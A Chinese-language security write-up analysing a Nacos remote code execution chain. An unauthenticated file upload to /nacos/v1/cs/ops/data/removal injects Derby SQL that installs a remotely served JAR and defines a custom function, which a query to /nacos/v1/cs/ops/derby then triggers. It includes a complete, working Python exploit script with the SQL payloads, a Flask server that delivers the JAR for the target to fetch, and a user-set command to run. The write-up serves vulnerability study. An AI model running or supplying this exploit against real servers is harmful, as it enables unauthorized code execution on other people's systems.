Nacos昨天爆出了一个漏洞poc:https://github.com/ayoundzw/nacos-poc。涉及两个路径
/nacos/v1/cs/ops/data/removal
nacos/v1/cs/ops/derby
其中第二个路径之前出现过漏洞:https://github.com/alibaba/nacos/issues/4463,对应编号CVE-2021-29442。漏洞成因是,Nacos当时的版本是有鉴权的,但是这个路径没有添加@Secured
注解,可以未授权访问,并且可以用这个功能执行sql语句。该路径所在的ConfigOpsController
类就是用于数据库管理。后来修复:https://github.com/alibaba/nacos/pull/4517对这个路径增加了注解,要求admin用户权限。也就是需要登录后台才能访问了。
@GetMapping(value = "/derby")
@Secured(action = ActionTypes.READ, resource = "nacos/admin")
public RestResult<Object> derbyOps(@RequestParam(value = "sql") String sql) {...}
但是有意思的是,由于后来版本的鉴权在配置文件中包含默认的用户名、密码、key,导致了权限和认证绕过漏洞。参考:https://github.com/ax1sX/SecurityList/blob/main/Java_OA/NacosAudit.md。官方就干脆默认安装的时候不开启鉴权,让用户自己去配置,杜绝默认的用户名密码问题。但这也就意味着新版本中,默认是不开鉴权的,如果用户没有去配置鉴权,那上面CVE-2021-29442的路径还能利用。但是这个路径只支持select查询,无法实现RCE。
这个漏洞就配合了第一个路径,先将jar文件存储到数据库中,实现自定义函数,然后利用自定义函数实现RCE。写这篇文章就是因为第一步中对于derby攻击的利用方式是有通用的借鉴意义的。
漏洞复现
从github上https://github.com/alibaba/nacos/releases下载2.3.2或2.4.0版本,然后在bin目录下执行sh startup.sh -m standalone
PS:如果想要开启调试,需按下图更改startup.sh
文件后再执行sh startup.sh -m standalone
先启动service.py,脚本启动了一个web服务器,并且设置了一个路由/download
。
import base64
from flask import Flask, send_file,Response
import config
payload = b'base64'
app = Flask(__name__)
@app.route('/download')
def download_file():
data = base64.b64decode(payload)
print(data)
response = Response(data, mimetype="application/octet-stream")
return response
if __name__ == '__main__':
app.run(host=config.server_host, port=config.server_port)
头部的import config
,就是引入config.py
的配置,定义了在什么ip和端口下起这个服务器。
server_host = '127.0.0.1'
server_port = 5000
payload实际就是一个jar文件的base64编码。可以用如下代码将其还原成jar包
import java.io.FileOutputStream;
import java.io.IOException;
import java.util.Base64;
public class Base64ToJar {
public static void main(String[] args) {
String base64String = "base64_string";
byte[] jarBytes = Base64.getDecoder().decode(base64String);
String jarFilePath = "output.jar";
try (FileOutputStream fos = new FileOutputStream(jarFilePath)) {
fos.write(jarBytes);
System.out.println("JAR文件已成功生成: " + jarFilePath);
} catch (IOException e) {
e.printStackTrace();
}
}
}
对应的jar包如下
然后执行攻击脚本
import random
import sys
import requests
from urllib.parse import urljoin
import config
# 按装订区域中的绿色按钮以运行脚本。
def exploit(target, command, service):
removal_url = urljoin(target,'/nacos/v1/cs/ops/data/removal')
derby_url = urljoin(target, '/nacos/v1/cs/ops/derby')
for i in range(0,sys.maxsize):
id = ''.join(random.sample('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ',8))
post_sql = """CALL sqlj.install_jar('{service}', 'NACOS.{id}', 0)\n
CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','NACOS.{id}')\n
CREATE FUNCTION S_EXAMPLE_{id}( PARAM VARCHAR(2000)) RETURNS VARCHAR(2000) PARAMETER STYLE JAVA NO SQL LANGUAGE JAVA EXTERNAL NAME 'test.poc.Example.exec'\n""".format(id=id,service=service);
option_sql = "UPDATE ROLES SET ROLE='1' WHERE ROLE='1' AND ROLE=S_EXAMPLE_{id}('{cmd}')\n".format(id=id,cmd=command);
get_sql = "select * from (select count(*) as b, S_EXAMPLE_{id}('{cmd}') as a from config_info) tmp /*ROWS FETCH NEXT*/".format(id=id,cmd=command);
files = {'file': post_sql}
post_resp = requests.post(url=removal_url,files=files)
post_json = post_resp.json()
if post_json.get('message',None) is None and post_json.get('data',None) is not None:
print(post_resp.text)
get_resp = requests.get(url=derby_url,params={'sql':get_sql})
print(get_resp.text)
break
if __name__ == '__main__':
service = 'http://{host}:{port}/download'.format(host=config.server_host,port=config.server_port)
target = 'http://127.0.0.1:8848'
command = 'open -a Calculator'
target = input('请输入目录URL,默认:http://127.0.0.1:8848:') or target
command = input('请输入命令,默认:open -a Calculator:') or command
exploit(target=target, command=command,service=service)
脚本执行结果如下。
漏洞分析
先看看exploit中的第一步对/nacos/v1/cs/ops/data/removal
路径发起POST请求。根据路由定位到ConfigOpsController
。注释的意思是这类方法是将外部数据源被导入到derby中。
代码首先判断了是否为embedded storage mode,想要不执行if中的代码就要求单机模式启动,单机模式启动时为standalone Mode
,也就对应了漏洞复现时要求环境启动语句添加参数sh startup.sh -m standalone
。
然后执行文件上传,这里文件上传成功后会执行回调函数。也就是file -> {...
中的内容。回调函数中调用 databaseOperate.dataImport(file)
方法,将文件数据导入数据库。
dataImport()
方法异步执行任务,逐行读取文件中的内容,将非空的内容放入batchUpdate
这个列表变量中暂存。然后异步执行批量导入操作doDataImport()
,将结果存储到results列表中。等所有异步任务完成,如果所有任务都成功,即results中没有false,那么返回状态码200,否则返回500。
逻辑很简单,上传sql语句,然后批量执行sql。poc中一共上传了三句sql。这就需要了解一下derby的语法,了解这三句sql分别有什么作用。
derby RCE
Apache Derby是一个开源的关系数据库管理系统 (RDBMS),它使用 Java 编写。Derby的特点就是轻量级,占用的内存小,适合嵌入式应用,所有的功能都可以嵌入到java应用中运行。加入要开发嵌入式设备,在设备上存储数据和用户信息,就可以选用Derby嵌入式数据库,通过API在设备上管理数据而不需要复杂的数据库管理和配置。
查看derby的官方文档
1. CALL sqlj.install_jar('{service}', 'NACOS.{id}', 0)\n
2. CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','NACOS.{id}')\n
3. CREATE FUNCTION S_EXAMPLE_{id}( PARAM VARCHAR(2000)) RETURNS VARCHAR(2000) PARAMETER STYLE JAVA NO SQL LANGUAGE JAVA EXTERNAL NAME 'test.poc.Example.exec'\n""".format(id=id,service=service);
- https://db.apache.org/derby/docs/10.9/ref/rrefstorejarinstall.html
SQLJ.INSTALL_JAR
是一个存储过程函数,将jar文件存储在数据库中。此功能一般用于扩展数据库或自定义功能。可以让jar文件中的类和方法在数据库执行sql和存储过程中使用。
第一个参数是要安装的jar文件的位置。第二个参数是安装后在数据库中使用的名称,一般为架构名称.ID。第三个参数是标志位,表示如果已经存在同名文件是否覆盖。0表示不覆盖。
-
https://db.apache.org/derby/docs/10.1/ref/rrefsetdbpropproc.html
SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY
系统过程用于设置或删除当前连接上数据库的属性值。用法就是key:value
。在这里就是将derby.database.classpath
属性改为了jar安装后的名称NACOS.{id}
-
https://db.apache.org/derby/docs/10.4/ref/rrefcreatefunctionstatement.html
CREATE FUNCTION
语句允许创建 Java 函数,然后可以在表达式中使用这些函数。但是函数中要求必须包含以下三个元素。
LANGUAGE
一般为JAVA
,EXTERNAL NAME
代表函数执行时要调用的Java方法,格式为类名.方法名
。PARAMETER STYLE
一般来说都是JAVA
。
POC样式如下,EXTERNAL NAME就是jar包中类的全限定类名。
CREATE FUNCTION S_EXAMPLE_{id}
( PARAM VARCHAR(2000))
RETURNS VARCHAR(2000)
PARAMETER STYLE JAVA
NO SQL LANGUAGE JAVA
EXTERNAL NAME 'test.poc.Example.exec'
那么总结上述三步,就是将读入的jar包安装到数据库中,并且将数据库连接属性值改为该jar包名称。然后创建自定义函数。
由于这步可以导入任何sql语句,那么理论上还可以在创建Funtion或Procedure后,直接执行Call Procedure
。但是实际在Nacos下测试时这步会返回500。
触发自定义函数
/derby
路径下的函数如下,该方法主要用于Derby数据库的查询操作,确保只执行SELECT语句,并在必要时添加分页限制。如果当前存储模式不是 Derby 或者遇到异常,方法会返回相应的错误信息。
在Java应用程序中使用JDBC API调用Derby的存储过程和函数会触发相应的函数执行。
附录
教一下如何把class打成jar包。